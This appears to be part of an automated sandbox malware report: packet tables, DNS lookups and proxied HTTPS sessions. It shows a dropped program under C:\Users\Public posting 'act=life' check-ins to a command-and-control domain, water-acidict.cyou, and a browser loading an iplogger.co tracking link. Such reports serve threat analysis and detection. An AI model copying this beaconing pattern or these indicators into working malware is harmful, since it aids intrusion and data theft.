Nov 29, 2024 23:12:04.024635077 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.024661064 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.024678946 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.024688959 CET	49912	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.024693966 CET	443	49912	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.027184963 CET	49917	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.027216911 CET	443	49917	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.027331114 CET	49917	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.027440071 CET	49917	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.027452946 CET	443	49917	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.319597006 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.319664955 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.319736958 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.319942951 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.319942951 CET	49913	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.319953918 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.319962025 CET	443	49913	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.322680950 CET	49918	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.322721004 CET	443	49918	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.322796106 CET	49918	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.322956085 CET	49918	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.322969913 CET	443	49918	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.412235022 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.412589073 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.412616014 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.413012028 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.413017035 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.846574068 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.850188017 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.850244045 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.850254059 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.850307941 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.850361109 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.850361109 CET	49914	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.850377083 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.850384951 CET	443	49914	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.853189945 CET	49919	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.853205919 CET	443	49919	13.107.246.63	192.168.2.4
Nov 29, 2024 23:12:04.853260040 CET	49919	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.853400946 CET	49919	443	192.168.2.4	13.107.246.63
Nov 29, 2024 23:12:04.853410959 CET	443	49919	13.107.246.63	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 23:09:58.848608017 CET	64503	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:09:58.848881006 CET	49980	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:09:58.972218037 CET	53	52761	1.1.1.1	192.168.2.4
Nov 29, 2024 23:09:59.043684006 CET	53	49294	1.1.1.1	192.168.2.4
Nov 29, 2024 23:09:59.252136946 CET	53	64503	1.1.1.1	192.168.2.4
Nov 29, 2024 23:09:59.361128092 CET	53	49980	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:01.391649961 CET	63887	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:10:01.807292938 CET	53	63887	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:01.948712111 CET	53	51145	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:03.351427078 CET	58361	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:10:03.351520061 CET	55464	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:10:03.398236036 CET	53713	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:10:03.398627996 CET	56356	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:10:03.489132881 CET	53	58361	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:03.489276886 CET	53	55464	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:03.538033962 CET	53	53713	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:03.541260004 CET	53	56356	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:14.559303999 CET	53	52537	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:19.993191957 CET	138	138	192.168.2.4	192.168.2.255
Nov 29, 2024 23:10:33.359049082 CET	53	52517	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:56.162596941 CET	53	56110	1.1.1.1	192.168.2.4
Nov 29, 2024 23:10:58.857192039 CET	53	56101	1.1.1.1	192.168.2.4
Nov 29, 2024 23:11:03.394181967 CET	58202	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:11:03.394301891 CET	50448	53	192.168.2.4	1.1.1.1
Nov 29, 2024 23:11:03.531680107 CET	53	50448	1.1.1.1	192.168.2.4
Nov 29, 2024 23:11:03.532004118 CET	53	58202	1.1.1.1	192.168.2.4
Nov 29, 2024 23:11:26.405805111 CET	53	61270	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 29, 2024 23:09:59.361207008 CET	192.168.2.4	1.1.1.1	c251	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 29, 2024 23:09:58.848608017 CET	192.168.2.4	1.1.1.1	0x284d	Standard query (0)	iplogger.co	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:09:58.848881006 CET	192.168.2.4	1.1.1.1	0x5816	Standard query (0)	iplogger.co	65	IN (0x0001)	false
Nov 29, 2024 23:10:01.391649961 CET	192.168.2.4	1.1.1.1	0x771a	Standard query (0)	water-acidict.cyou	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.351427078 CET	192.168.2.4	1.1.1.1	0xc8cf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.351520061 CET	192.168.2.4	1.1.1.1	0x98f0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 29, 2024 23:10:03.398236036 CET	192.168.2.4	1.1.1.1	0x812e	Standard query (0)	iplogger.co	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.398627996 CET	192.168.2.4	1.1.1.1	0x83e1	Standard query (0)	iplogger.co	65	IN (0x0001)	false
Nov 29, 2024 23:11:03.394181967 CET	192.168.2.4	1.1.1.1	0xb0f2	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:11:03.394301891 CET	192.168.2.4	1.1.1.1	0x97f9	Standard query (0)	www.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 29, 2024 23:09:59.252136946 CET	1.1.1.1	192.168.2.4	0x284d	No error (0)	iplogger.co	172.67.167.249	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:09:59.252136946 CET	1.1.1.1	192.168.2.4	0x284d	No error (0)	iplogger.co	104.21.82.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:09:59.361128092 CET	1.1.1.1	192.168.2.4	0x5816	No error (0)	iplogger.co		65	IN (0x0001)	false
Nov 29, 2024 23:10:01.807292938 CET	1.1.1.1	192.168.2.4	0x771a	No error (0)	water-acidict.cyou	172.67.156.217	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:01.807292938 CET	1.1.1.1	192.168.2.4	0x771a	No error (0)	water-acidict.cyou	104.21.8.50	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.489132881 CET	1.1.1.1	192.168.2.4	0xc8cf	No error (0)	www.google.com	142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.489276886 CET	1.1.1.1	192.168.2.4	0x98f0	No error (0)	www.google.com		65	IN (0x0001)	false
Nov 29, 2024 23:10:03.538033962 CET	1.1.1.1	192.168.2.4	0x812e	No error (0)	iplogger.co	104.21.82.93	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.538033962 CET	1.1.1.1	192.168.2.4	0x812e	No error (0)	iplogger.co	172.67.167.249	A (IP address)	IN (0x0001)	false
Nov 29, 2024 23:10:03.541260004 CET	1.1.1.1	192.168.2.4	0x83e1	No error (0)	iplogger.co		65	IN (0x0001)	false
Nov 29, 2024 23:11:03.531680107 CET	1.1.1.1	192.168.2.4	0x97f9	No error (0)	www.google.com		65	IN (0x0001)	false
Nov 29, 2024 23:11:03.532004118 CET	1.1.1.1	192.168.2.4	0xb0f2	No error (0)	www.google.com	142.250.181.100	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

iplogger.co

https:

water-acidict.cyou

slscr.update.microsoft.com

otelrules.azureedge.net

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	172.67.167.249	443	5500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:00 UTC	660	OUT	GET /1tJFB4 HTTP/1.1 Host: iplogger.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-29 22:10:01 UTC	1363	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:01 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Set-Cookie: 56396975137264100=3; expires=Sat, 29 Nov 2025 22:10:01 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.228; expires=Sat, 29 Nov 2025 22:10:01 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict memory: 0.47846221923828125 expires: Fri, 29 Nov 2024 22:10:01 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TFZln0cyw%2F7SBxvm1t26jQaV9lQGusgYpNEhWfuny8%2Bj861sRF9Eo%2BjksMJK%2FqvzxujF64Aitk%2FiMFZZJQaaM5QdJnmVPA5u8lbXYTnc30%2FxNfgo56CsLi8QD9fKsw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ece4ac65c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1679&min_rtt=1674&rtt_var=637&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1238&delivery_rate=1703617&cwnd=181&unsent_bytes=0&cid=94a26576f0a91552&ts=1000&x=0"
2024-11-29 22:10:01 UTC	6	IN	Data Raw: 37 34 0d 0a 89 50 Data Ascii: 74P
2024-11-29 22:10:01 UTC	116	IN	Data Raw: 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: NGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-11-29 22:10:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.67.167.249	443	5500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:02 UTC	639	OUT	GET /favicon.ico HTTP/1.1 Host: iplogger.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://iplogger.co/1tJFB4 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 56396975137264100=3; clhf03028ja=8.46.123.228
2024-11-29 22:10:03 UTC	1084	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:03 GMT Content-Type: image/x-icon Content-Length: 2833 Connection: close last-modified: Tue, 07 Jun 2022 11:44:38 GMT etag: "629f3a26-b11" strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4311 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0xdqiGY7ZdsjggARHW4qzluDJZKX5taUB8SrvHgJpvPUeae5itTL46HMDYdznzoY7veuAvqqHjb2AD%2BAga4OWGTQJKp3%2BOQigXKqUc38ZW4mHFp9rWPoM5GFwoYJww%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ecf17b13efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1967&min_rtt=1958&rtt_var=753&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1217&delivery_rate=1435594&cwnd=193&unsent_bytes=0&cid=e1559da315ba76ff&ts=452&x=0"
2024-11-29 22:10:03 UTC	285	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 0a d8 49 44 41 54 78 9c dd 9b 7f 8c db 65 1d c7 5f 4f 73 6d 97 cb 85 bb 2c 75 59 96 73 59 49 9d 77 c7 24 c8 0c d1 8d 8e 1f 0a 0c b0 18 98 3a 56 6a 44 c6 cf 21 82 80 01 6f 25 86 ac 14 f9 35 24 82 0a a2 a0 d6 ca cf 09 96 20 28 99 93 3b 7e 38 06 22 ce eb c4 ba ce cb b2 10 68 2e bb cb 72 b9 5e 2f 7d fc e3 f3 7c d7 de 71 6d bf 4f af 77 18 df 49 f3 6d da ef e7 f9 3e cf e7 79 3e bf 3f 5f c5 02 c1 9b ce 3b 5f 3d c0 62 80 52 34 58 88 e5 34 c0 32 e0 88 f9 94 53 21 b5 50 d3 a2 6d 3e 07 f7 a6 f3 1d c0 2a 60 0d b0 1a e8 01 96 03 ed 40 1a b8 cc cc e1 4f 08 13 c6 80 5c 2c a7 f7 01 6f 00 83 40 2e 15 52 53 f3 35 c7 96 33 c0 9b ce b7 03 eb 81 4d c0 a9 40 a0 c6 ad 9e aa Data Ascii: PNGIHDR@@iqIDATxe_Osm,uYsYIw$:VjD!o%5$ (;~8"h.r^/}\|qmOwIm>y>?_;_=bR4X42S!Pm>*`@O\,o@.RS53M@
2024-11-29 22:10:03 UTC	1369	IN	Data Raw: c0 d5 c0 c5 c0 d2 56 8c 8b 30 e9 58 e0 9b c0 16 60 28 96 d3 0f 00 a9 54 48 1d 69 d5 03 e6 04 6f 3a bf 04 b8 17 f8 27 70 33 ad 5b fc 4c 78 10 71 fa 31 90 8d e5 f4 96 58 4e 2f 6a c5 a0 4d c1 9b ce b7 79 d3 f9 2b 81 7f 00 d7 21 72 bd 50 e8 06 1e 00 de 88 e5 f4 a9 46 91 36 85 a6 18 e0 4d e7 57 00 2f 22 bb 51 4b c6 17 02 ab 80 3f 02 f7 c5 72 ba a9 0d b0 66 80 37 9d 3f 07 d1 d0 a7 37 f3 c0 79 40 1b f0 2d 60 20 96 d3 c7 da 12 bb 66 80 37 9d f7 78 d3 f9 eb 80 df f2 d1 ee 7a 2d 9c 08 bc 16 cb e9 75 36 44 ae 18 e0 4d e7 3d c0 36 44 d9 f9 ec e7 b6 60 58 02 fc 3e 96 d3 e7 b8 d5 0b 0d 19 60 16 7f 1b d0 3f b7 b9 2d 18 da 81 a7 81 73 dc dc 5c 97 01 c6 be 5f 8f 98 b7 56 63 ce 26 b8 0e 16 01 8f c7 72 7a 4d a3 1b 1b 39 42 e7 01 b7 b7 64 4a 70 18 d8 03 bc 05 fc cb 7c 07 f1 Data Ascii: V0X`(THio:'p3[Lxq1XN/jMy+!rPF6MW/"QK?rf7?7y@-` f7xz-u6DM=6D`X>`?-s\_Vc&rzM9BdJp\|
2024-11-29 22:10:03 UTC	1179	IN	Data Raw: 2b 06 43 54 42 67 9b 68 10 24 7d 7f d4 6c bc 62 49 bc d9 5c 73 c0 33 96 b4 ad c4 7d c5 4c a2 6c 5a 65 dc e6 11 41 ac c6 34 06 bc 4e c5 94 b8 c1 05 de 74 be db c8 de 36 ea 87 ad f3 85 21 20 65 be af 03 56 58 d0 be 8d d1 7b 1e 90 86 45 84 09 6e d1 01 6c f5 a6 f3 14 33 89 bd c0 76 0b da 56 60 0a b8 a6 98 49 38 8c 7f 09 38 1f 78 d7 25 fd b3 4e 99 ac da 73 7a dc 72 12 97 00 9f 31 df b7 21 95 97 85 c2 76 60 67 b2 a0 49 16 b4 2f 15 52 e5 54 48 3d 03 7c 1a b8 09 63 e3 6b 60 0a c9 31 00 d3 19 b0 a3 01 e1 4c f8 80 9f 7a d3 f9 76 b3 13 5f 01 f6 37 a0 69 05 76 00 5b 8d f8 ad 02 b2 c9 82 de 62 18 31 9e 0a a9 3b 81 e3 90 8c d1 6c 0e de 2e 24 85 0e 7c b8 34 f6 20 d2 a1 69 83 47 81 cd a6 36 70 2c 52 1b 08 59 8e e1 16 cf 00 17 15 33 89 f1 64 41 2f 46 8a 30 8e f3 f3 0e 70 Data Ascii: +CTBgh$}lbI\s3}LlZeA4Nt6! eVX{Enl3vV`I88x%Nszr1!v`gI/RTH=\|ck`1Lzv_7iv[b1;l.$\|4 iG6p,RY3dA/F0p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	172.67.156.217	443	3696	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: water-acidict.cyou
2024-11-29 22:10:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 22:10:04 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v4718kfuq5urol859qmsertkhd; expires=Tue, 25-Mar-2025 15:56:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MQQPc43jlPEABo9wTNg%2B5algCjrmevPyT8TkLyWBioX5%2BxVRIf6dHGeoALd%2FRNr59SvxRWUNwOM0OIQeRyZoYI4k%2FUSPW0SR6UwclalVscmGx7gSjaAI9ruhySXrkhgVtPYOJGw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ecf3da2b41c6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2170&min_rtt=2167&rtt_var=820&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1329085&cwnd=199&unsent_bytes=0&cid=77219084503b4050&ts=1070&x=0"
2024-11-29 22:10:04 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 22:10:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49744	104.21.82.93	443	5500	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:06 UTC	401	OUT	GET /favicon.ico HTTP/1.1 Host: iplogger.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 56396975137264100=3; clhf03028ja=8.46.123.228
2024-11-29 22:10:06 UTC	1088	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:10:06 GMT Content-Type: image/x-icon Content-Length: 2833 Connection: close last-modified: Tue, 07 Jun 2022 11:44:38 GMT etag: "629f3a26-b11" strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 4314 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h07w4hmxQ1EC6UYfThmq1%2Bb8WH%2BPe7%2BMxMM8E1P%2FjPJ8vxpHe0pIq4FmA%2F7Kr9VgiDKdRmKVrQlFpIOHxjwmTnhGH44hmZARDnIAUyZLgrBextrP9H0opHwwwppL7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea5ed05ac51f791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&min_rtt=1632&rtt_var=618&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=979&delivery_rate=1789215&cwnd=65&unsent_bytes=0&cid=42f10a17eb9dc843&ts=462&x=0"
2024-11-29 22:10:06 UTC	281	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 0a d8 49 44 41 54 78 9c dd 9b 7f 8c db 65 1d c7 5f 4f 73 6d 97 cb 85 bb 2c 75 59 96 73 59 49 9d 77 c7 24 c8 0c d1 8d 8e 1f 0a 0c b0 18 98 3a 56 6a 44 c6 cf 21 82 80 01 6f 25 86 ac 14 f9 35 24 82 0a a2 a0 d6 ca cf 09 96 20 28 99 93 3b 7e 38 06 22 ce eb c4 ba ce cb b2 10 68 2e bb cb 72 b9 5e 2f 7d fc e3 f3 7c d7 de 71 6d bf 4f af 77 18 df 49 f3 6d da ef e7 f9 3e cf e7 79 3e bf 3f 5f c5 02 c1 9b ce 3b 5f 3d c0 62 80 52 34 58 88 e5 34 c0 32 e0 88 f9 94 53 21 b5 50 d3 a2 6d 3e 07 f7 a6 f3 1d c0 2a 60 0d b0 1a e8 01 96 03 ed 40 1a b8 cc cc e1 4f 08 13 c6 80 5c 2c a7 f7 01 6f 00 83 40 2e 15 52 53 f3 35 c7 96 33 c0 9b ce b7 03 eb 81 4d c0 a9 40 a0 c6 ad 9e aa Data Ascii: PNGIHDR@@iqIDATxe_Osm,uYsYIw$:VjD!o%5$ (;~8"h.r^/}\|qmOwIm>y>?_;_=bR4X42S!Pm>*`@O\,o@.RS53M@
2024-11-29 22:10:06 UTC	1369	IN	Data Raw: 80 39 de dd c0 d5 c0 c5 c0 d2 56 8c 8b 30 e9 58 e0 9b c0 16 60 28 96 d3 0f 00 a9 54 48 1d 69 d5 03 e6 04 6f 3a bf 04 b8 17 f8 27 70 33 ad 5b fc 4c 78 10 71 fa 31 90 8d e5 f4 96 58 4e 2f 6a c5 a0 4d c1 9b ce b7 79 d3 f9 2b 81 7f 00 d7 21 72 bd 50 e8 06 1e 00 de 88 e5 f4 a9 46 91 36 85 a6 18 e0 4d e7 57 00 2f 22 bb 51 4b c6 17 02 ab 80 3f 02 f7 c5 72 ba a9 0d b0 66 80 37 9d 3f 07 d1 d0 a7 37 f3 c0 79 40 1b f0 2d 60 20 96 d3 c7 da 12 bb 66 80 37 9d f7 78 d3 f9 eb 80 df f2 d1 ee 7a 2d 9c 08 bc 16 cb e9 75 36 44 ae 18 e0 4d e7 3d c0 36 44 d9 f9 ec e7 b6 60 58 02 fc 3e 96 d3 e7 b8 d5 0b 0d 19 60 16 7f 1b d0 3f b7 b9 2d 18 da 81 a7 81 73 dc dc 5c 97 01 c6 be 5f 8f 98 b7 56 63 ce 26 b8 0e 16 01 8f c7 72 7a 4d a3 1b 1b 39 42 e7 01 b7 b7 64 4a 70 18 d8 03 bc 05 fc Data Ascii: 9V0X`(THio:'p3[Lxq1XN/jMy+!rPF6MW/"QK?rf7?7y@-` f7xz-u6DM=6D`X>`?-s\_Vc&rzM9BdJp
2024-11-29 22:10:06 UTC	1183	IN	Data Raw: 3a 3f c6 47 2b 06 43 54 42 67 9b 68 10 24 7d 7f d4 6c bc 62 49 bc d9 5c 73 c0 33 96 b4 ad c4 7d c5 4c a2 6c 5a 65 dc e6 11 41 ac c6 34 06 bc 4e c5 94 b8 c1 05 de 74 be db c8 de 36 ea 87 ad f3 85 21 20 65 be af 03 56 58 d0 be 8d d1 7b 1e 90 86 45 84 09 6e d1 01 6c f5 a6 f3 14 33 89 bd c0 76 0b da 56 60 0a b8 a6 98 49 38 8c 7f 09 38 1f 78 d7 25 fd b3 4e 99 ac da 73 7a dc 72 12 97 00 9f 31 df b7 21 95 97 85 c2 76 60 67 b2 a0 49 16 b4 2f 15 52 e5 54 48 3d 03 7c 1a b8 09 63 e3 6b 60 0a c9 31 00 d3 19 b0 a3 01 e1 4c f8 80 9f 7a d3 f9 76 b3 13 5f 01 f6 37 a0 69 05 76 00 5b 8d f8 ad 02 b2 c9 82 de 62 18 31 9e 0a a9 3b 81 e3 90 8c d1 6c 0e de 2e 24 85 0e 7c b8 34 f6 20 d2 a1 69 83 47 81 cd a6 36 70 2c 52 1b 08 59 8e e1 16 cf 00 17 15 33 89 f1 64 41 2f 46 8a 30 8e Data Ascii: :?G+CTBgh$}lbI\s3}LlZeA4Nt6! eVX{Enl3vV`I88x%Nszr1!v`gI/RTH=\|ck`1Lzv_7iv[b1;l.$\|4 iG6p,RY3dA/F0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	172.67.156.217	443	7984	C:\Users\Public\Netstat\dileapp.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:10:09 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: water-acidict.cyou
2024-11-29 22:10:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
